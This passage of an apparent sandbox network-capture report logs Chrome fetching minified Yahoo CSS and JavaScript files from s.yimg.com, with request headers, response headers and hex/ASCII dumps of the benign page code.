61 73 2d 61 74 74 72 2d 73 65 70 65 72 61 74 6f 72 3a 6e 6f 74 28 3a 66 69 72 Data Ascii: font-weight:700;font-size:.923em}.caas-attr-meta-title{font-weight:400}.caas-attr-meta-title:before{content:",";color:#000;font-weight:700}.caas-attr-time-style{font-weight:400;display:inline-block;font-size:.923em;color:gray}.caas-attr-seperator:not(:fir
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 2d 63 6c 61 6d 70 3a 33 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 76 65 72 74 69 63 61 6c 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 63 61 61 73 2d 70 68 6f 74 6f 73 65 74 20 2e 63 61 70 74 69 6f 6e 2d 63 6f 6c 6c 61 70 73 65 2e 63 6f 6c 6c 61 70 73 65 64 20 2e 65 78 70 61 6e 64 2d 62 75 74 74 6f 6e 2e 63 6f 6c 6c 61 70 73 65 64 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 62 6f 74 74 6f 6d 3a 30 3b 72 69 67 68 74 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 Data Ascii: isplay:-webkit-box;-webkit-line-clamp:3;-webkit-box-orient:vertical;position:relative;overflow:hidden;cursor:pointer}.caas-photoset .caption-collapse.collapsed .expand-button.collapsed{padding-left:0;position:absolute;bottom:0;right:0;background-color:#ff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 64 65 6f 2d 66 75 6c 6c 2d 64 6f 63 6b 29 20 2e 76 70 2d 64 6f 63 6b 65 64 2d 6d 6f 64 65 20 2e 76 70 2d 73 6c 69 64 65 72 2c 2e 63 61 61 73 2d 79 76 69 64 65 6f 2d 77 72 61 70 70 65 72 20 2e 63 61 61 73 2d 79 76 69 64 65 6f 3a 6e 6f 74 28 2e 63 61 61 73 2d 79 76 69 64 65 6f 2d 66 75 6c 6c 2d 64 6f 63 6b 29 20 2e 79 76 70 2d 64 6f 63 6b 65 64 2d 6d 6f 64 65 20 2e 79 76 70 2d 62 6f 74 74 6f 6d 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 79 76 70 2d 6d 65 6e 75 2d 63 6f 6e 74 72 6f 6c 73 20 2e 79 76 70 2d 61 69 72 70 6c 61 79 2d 62 74 6e 2c 2e 63 61 61 73 2d 79 76 69 64 65 6f 2d 77 72 61 70 70 65 72 20 2e 63 61 61 73 2d 79 76 69 64 65 6f 3a 6e 6f 74 28 2e 63 61 61 73 2d 79 76 69 64 65 6f 2d 66 75 6c 6c 2d 64 6f 63 6b 29 20 2e 79 76 70 2d 64 6f 63 6b 65 64 2d 6d 6f Data Ascii: deo-full-dock) .vp-docked-mode .vp-slider,.caas-yvideo-wrapper .caas-yvideo:not(.caas-yvideo-full-dock) .yvp-docked-mode .yvp-bottom-container .yvp-menu-controls .yvp-airplay-btn,.caas-yvideo-wrapper .caas-yvideo:not(.caas-yvideo-full-dock) .yvp-docked-mo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49861	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	542	OUT	GET /aaq/wf/wf-native-da-1.0.3-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	854	IN	HTTP/1.1 200 OK x-amz-id-2: bUmtZs3RWqSB77Gy0Aw2H2ub7ndCGpcjTF3xnBQ3LoEyXxOI8ThlYpX9IBQT/1c3XWIYLgYQJ8Y= x-amz-request-id: JX5PE26H5EF2QH7H Date: Tue, 09 Jan 2024 17:13:30 GMT Last-Modified: Mon, 18 Dec 2023 08:24:28 GMT ETag: "1b3cba92fad04fe3b6085f9dd4504f0a" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: .WtSZPY4TBvcWVtow89uKRis9rZ.xbsA Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 10980 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 108823 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 6e 61 74 69 76 65 2d 64 61 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 6e 61 74 69 76 65 2d 64 61 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-native-da",[],t):"object"==typeof exports?exports["wafer-native-da"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wa
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 Data Ascii: eof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 72 65 74 75 72 6e 20 65 28 74 2c 72 29 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 7d 28 29 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 72 5d 3b 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f Data Ascii: return e(t,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),l=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.definePro
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 43 6c 61 73 73 3a 61 2c 69 64 3a 76 2c 6e 61 74 69 76 65 44 61 43 6f 6e 66 69 67 3a 6f 2c 6f 66 66 73 65 74 58 3a 4e 75 6d 62 65 72 28 6d 29 7c 7c 30 2c 6f 66 66 73 65 74 59 3a 4e 75 6d 62 65 72 28 77 29 7c 7c 30 2c 73 65 63 74 69 6f 6e 3a 68 2c 73 65 6c 65 63 74 6f 72 3a 73 2c 73 75 63 63 65 73 73 43 6c 61 73 73 3a 63 2c 74 61 72 67 65 74 45 6c 65 6d 3a 4f 2c 74 72 69 67 67 65 72 3a 6a 2c 74 79 70 65 3a 64 7d 29 2c 6c 2e 5f 73 74 61 74 65 3d 7b 73 68 6f 75 6c 64 50 72 65 66 65 74 63 68 46 6f 72 56 69 65 77 70 6f 72 74 3a 22 76 69 65 77 70 6f 72 74 57 69 74 68 50 72 65 66 65 74 63 68 22 3d 3d 3d 6a 2c 73 74 61 74 75 73 3a 76 6f 69 64 20 30 7d 2c 6c 7d 72 65 74 75 72 6e 20 6f 28 74 2c 65 29 2c 6c 28 74 2c 5b 7b 6b 65 79 3a 22 66 65 74 63 68 22 2c 76 61 6c Data Ascii: Class:a,id:v,nativeDaConfig:o,offsetX:Number(m)\|\|0,offsetY:Number(w)\|\|0,section:h,selector:s,successClass:c,targetElem:O,trigger:j,type:d}),l._state={shouldPrefetchForViewport:"viewportWithPrefetch"===j,status:void 0},l}return o(t,e),l(t,[{key:"fetch",val
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 79 6e 63 41 73 73 65 74 73 28 65 2e 61 73 73 65 74 73 29 2c 65 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 64 2e 64 65 73 74 72 6f 79 28 6f 2c 7b 64 65 73 74 72 6f 79 53 65 6c 66 3a 21 31 7d 29 3b 76 61 72 20 73 3d 69 7c 7c 7b 7d 2c 63 3d 73 2e 68 74 6d 6c 3b 69 66 28 22 70 72 65 66 65 74 63 68 22 21 3d 3d 73 2e 5f 73 74 6f 72 61 67 65 53 6f 75 72 63 65 29 7b 76 61 72 20 66 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 66 2e 69 6e 6e 65 72 48 54 4d 4c 3d 63 3b 76 61 72 20 75 3d 66 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 6e 61 74 69 76 65 2d 64 61 22 29 5b 30 5d 3b 63 3d 75 26 26 75 2e 6f 75 74 65 72 48 54 4d 4c 7c 7c 63 7d 72 65 74 75 72 6e 20 77 28 68 2c 63 Data Ascii: yncAssets(e.assets),e}).then(function(i){d.destroy(o,{destroySelf:!1});var s=i\|\|{},c=s.html;if("prefetch"!==s._storageSource){var f=document.createElement("div");f.innerHTML=c;var u=f.getElementsByClassName("native-da")[0];c=u&&u.outerHTML\|\|c}return w(h,c
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 70 64 61 74 65 53 74 61 74 65 28 72 29 3b 76 61 72 20 6e 3d 49 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 28 72 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 6e 61 74 69 76 65 2d 64 61 22 29 29 3b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 6e 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 72 3d 7b 61 73 73 65 74 73 3a 74 2c 68 74 6d 6c 3a 65 2e 6f 75 74 65 72 48 54 4d 4c 7d 2c 6e 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 46 2e 73 79 6e 63 41 73 73 65 74 Data Ascii: pdateState(r);var n=I.convertNodeListToArray(r.getElementsByClassName("native-da"));return Promise.all(n.map(function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},r={assets:t,html:e.outerHTML},n=e.getAttribute("id");return F.syncAsset
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 75 6d 65 6e 74 2e 62 6f 64 79 29 29 7d 7d 7d 28 29 3b 76 61 72 20 42 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 72 3d 65 2e 65 72 72 6f 72 43 6c 61 73 73 2c 6e 3d 76 6f 69 64 20 30 3d 3d 3d 72 3f 22 77 61 66 65 72 2d 6e 61 74 69 76 65 2d 64 61 2d 65 72 72 6f 72 22 3a 72 2c 69 3d 65 2e 72 6f 6f 74 2c 6f 3d 76 6f 69 64 20 30 3d 3d 3d 69 3f 64 6f 63 75 6d 65 6e 74 3a 69 2c 63 3d 65 2e 73 65 6c 65 63 74 6f 72 2c 66 3d 65 2e 73 75 63 63 65 73 73 43 6c 61 73 73 2c 75 3d 76 6f 69 64 20 30 3d 3d 3d 66 3f 22 77 61 66 65 72 2d 6e 61 74 69 76 Data Ascii: ument.body))}}}();var B=function(e){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},r=e.errorClass,n=void 0===r?"wafer-native-da-error":r,i=e.root,o=void 0===i?document:i,c=e.selector,f=e.successClass,u=void 0===f?"wafer-nativ
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 61 7c 7c 50 2e 75 72 6c 2c 6f 3d 6f 7c 7c 50 2e 62 61 73 65 43 6f 6e 66 69 67 2c 62 29 7b 21 28 6e 5b 62 5d 7c 7c 21 21 74 2e 67 65 74 28 62 29 29 26 26 69 2e 70 75 73 68 28 7b 63 6f 6e 66 69 67 3a 77 2c 69 64 3a 62 2c 73 65 63 74 69 6f 6e 3a 73 2c 74 79 70 65 3a 43 7d 29 2c 6e 5b 62 5d 3d 21 30 2c 6d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 64 69 64 2d 70 72 65 66 65 74 63 68 22 29 2c 68 2e 73 68 6f 75 6c 64 50 72 65 66 65 74 63 68 46 6f 72 56 69 65 77 70 6f 72 74 3d 21 31 7d 7d 65 6c 73 65 20 69 66 28 74 68 69 73 2e 70 72 65 66 65 74 63 68 28 70 29 2c 21 65 29 72 65 74 75 72 6e 7d 7d 7d 63 61 74 63 68 28 65 29 7b 66 3d 21 30 2c 75 3d 65 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 21 63 26 26 76 2e 72 65 74 75 72 6e 26 26 76 2e 72 65 74 75 72 6e 28 29 Data Ascii: a\|\|P.url,o=o\|\|P.baseConfig,b){!(n[b]\|\|!!t.get(b))&&i.push({config:w,id:b,section:s,type:C}),n[b]=!0,m.classList.add("did-prefetch"),h.shouldPrefetchForViewport=!1}}else if(this.prefetch(p),!e)return}}}catch(e){f=!0,u=e}finally{try{!c&&v.return&&v.return()
2024-01-10 23:27:12 UTC	580	IN	Data Raw: 63 68 28 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 77 69 6c 6c 56 61 6c 69 64 61 74 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 3b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 74 2e 67 65 74 28 65 29 2c 6e 3d 72 2e 69 6e 73 74 61 6e 63 65 2c 69 3d 6e 2e 63 6f 6e 66 69 67 2c 6f 3d 69 2e 6f 66 66 73 65 74 58 2c 61 3d 69 2e 6f 66 66 73 65 74 59 2c 73 3d 69 2e 73 65 6c 65 63 74 6f 72 2c 63 3d 69 2e 74 72 69 67 67 65 72 2c 66 3d 78 28 65 2c 7b 6f 66 66 73 65 74 58 3a 6f 2c 6f 66 66 73 65 74 59 3a 61 7d 2c 4e 2e 76 69 65 77 70 6f 72 74 29 3b 73 77 69 74 63 68 28 63 29 7b 63 61 73 65 22 76 69 65 77 70 6f 72 74 22 Data Ascii: ch()}}},{key:"willValidate",value:function(e){var t=this._state.elementInstances;e.forEach(function(e){var r=t.get(e),n=r.instance,i=n.config,o=i.offsetX,a=i.offsetY,s=i.selector,c=i.trigger,f=x(e,{offsetX:o,offsetY:a},N.viewport);switch(c){case"viewport"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49865	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	539	OUT	GET /aaq/wf/wf-action-1.8.1-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	827	IN	HTTP/1.1 200 OK x-amz-id-2: A6NGdHVUOE3z+R1TByzkPaoTHhN1RizU7m7I+G+A7gFwRm862yg1ElyoMRg0z4tsIbGetjQJfPY= x-amz-request-id: JTF2PEQZAPNWWCG7 Date: Wed, 10 Jan 2024 23:26:10 GMT Last-Modified: Thu, 21 Dec 2023 17:55:26 GMT ETag: "4443a60b3d3645610c9e65b7cc9f15bb" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: wiQ3AdVTneuswkykDVtSm3aaY9QhtZW9 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 13778 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 63 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 61 63 74 69 6f 6e 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 61 63 74 69 6f 6e 22 5d 3d 65 28 29 3a 28 74 2e 77 61 66 65 72 3d 74 2e 77 61 66 65 72 7c 7c 7b 7d 2c 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-action",[],e):"object"==typeof exports?exports["wafer-action"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 26 26 6e 75 6c 6c 21 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 65 29 3b 74 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 26 26 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a Data Ascii: unction"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Obj
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6e 61 6c 6c 79 7b 69 66 28 69 29 74 68 72 6f 77 20 6f 7d 7d 72 65 74 75 72 6e 20 72 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 72 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 3b 69 66 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 20 69 6e 20 4f 62 6a 65 63 74 28 65 29 29 72 65 74 75 72 6e 20 74 28 65 2c 72 29 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 7d 28 29 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 65 2e 6c 65 6e 67 74 Data Ascii: nally{if(i)throw o}}return r}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),f=function(){function t(t,e){for(var r=0;r<e.lengt
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 67 6f 72 79 22 29 7c 7c 22 22 2c 49 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 67 2b 22 61 63 74 69 6f 6e 2d 69 64 22 29 7c 7c 75 2c 50 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 67 2b 22 61 63 74 69 6f 6e 2d 6c 61 62 65 6c 22 29 2c 4c 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 67 2b 22 61 63 74 69 6f 6e 2d 79 6c 6b 22 29 2c 43 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 67 2b 22 61 63 74 69 6f 6e 2d 6e 61 6d 65 22 29 7c 7c 66 2c 6a 3d 50 26 26 50 2e 73 70 6c 69 74 28 22 7c 22 29 7c 7c 5b 5d 2c 52 3d 70 28 6a 2c 32 29 2c 48 3d 52 5b 30 5d 2c 42 3d 52 5b 31 5d 2c 46 3d 4c 26 26 4c 2e 73 70 6c 69 74 28 22 7c 22 29 7c 7c 5b 5d 2c 57 3d 70 28 46 2c 32 29 2c 78 3d 57 5b 30 5d 2c 4e 3d 57 5b 31 5d 2c 44 3d 74 2e 67 65 74 41 74 74 72 69 62 75 Data Ascii: gory")\|\|"",I=t.getAttribute(g+"action-id")\|\|u,P=t.getAttribute(g+"action-label"),L=t.getAttribute(g+"action-ylk"),C=t.getAttribute(g+"action-name")\|\|f,j=P&&P.split("\|")\|\|[],R=p(j,2),H=R[0],B=R[1],F=L&&L.split("\|")\|\|[],W=p(F,2),x=W[0],N=W[1],D=t.getAttribu
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6e 50 72 6f 67 72 65 73 73 3a 21 31 7d 2c 22 72 65 61 63 74 69 6f 6e 73 22 3d 3d 3d 54 26 26 28 76 2e 5f 75 74 69 6c 2e 69 73 52 65 61 63 74 69 6f 6e 3d 21 30 2c 76 2e 5f 73 74 61 74 65 2e 69 73 52 65 61 63 74 69 6f 6e 46 65 74 63 68 65 64 3d 21 31 29 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 68 61 73 2d 61 63 74 69 6f 6e 2d 63 6c 69 63 6b 22 2c 22 68 61 73 2d 77 61 66 65 72 2d 63 6c 69 63 6b 22 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 2e 73 65 74 41 63 74 69 6f 6e 53 74 61 74 75 73 28 74 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 4f 29 29 7d 2c 30 29 2c 76 7d 72 65 74 75 72 6e 20 6e 28 65 2c 74 29 2c 66 28 65 2c 5b 7b 6b 65 79 3a 22 72 65 6e 64 65 72 41 63 74 69 6f 6e 54 65 6d 70 6c 61 74 65 Data Ascii: nProgress:!1},"reactions"===T&&(v._util.isReaction=!0,v._state.isReactionFetched=!1),t.classList.add("has-action-click","has-wafer-click"),setTimeout(function(){v.setActionStatus(t.classList.contains(O))},0),v}return n(e,t),f(e,[{key:"renderActionTemplate
2024-01-10 23:27:12 UTC	1012	IN	Data Raw: 73 4c 69 73 74 2e 61 64 64 28 4f 29 29 3a 28 6e 26 26 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 79 6c 6b 22 2c 73 2b 22 3b 22 2b 69 29 2c 6f 26 26 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 6f 29 2c 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 4f 29 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 74 72 69 67 67 65 72 54 6f 70 69 63 41 63 74 69 6f 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 72 3d 65 2e 61 70 70 49 64 2c 69 3d 65 2e 61 63 74 69 6f 6e 48 6f 73 74 2c 6f 3d 65 2e 62 6f 6f 6b 6d 61 72 6b 41 63 74 69 6f 6e 48 6f 73 74 2c 6e 3d 65 2e 69 64 2c 73 3d 65 2e 73 75 62 54 79 70 65 2c 63 3d 65 2e 73 75 62 54 79 70 65 43 61 74 65 67 6f 72 79 Data Ascii: 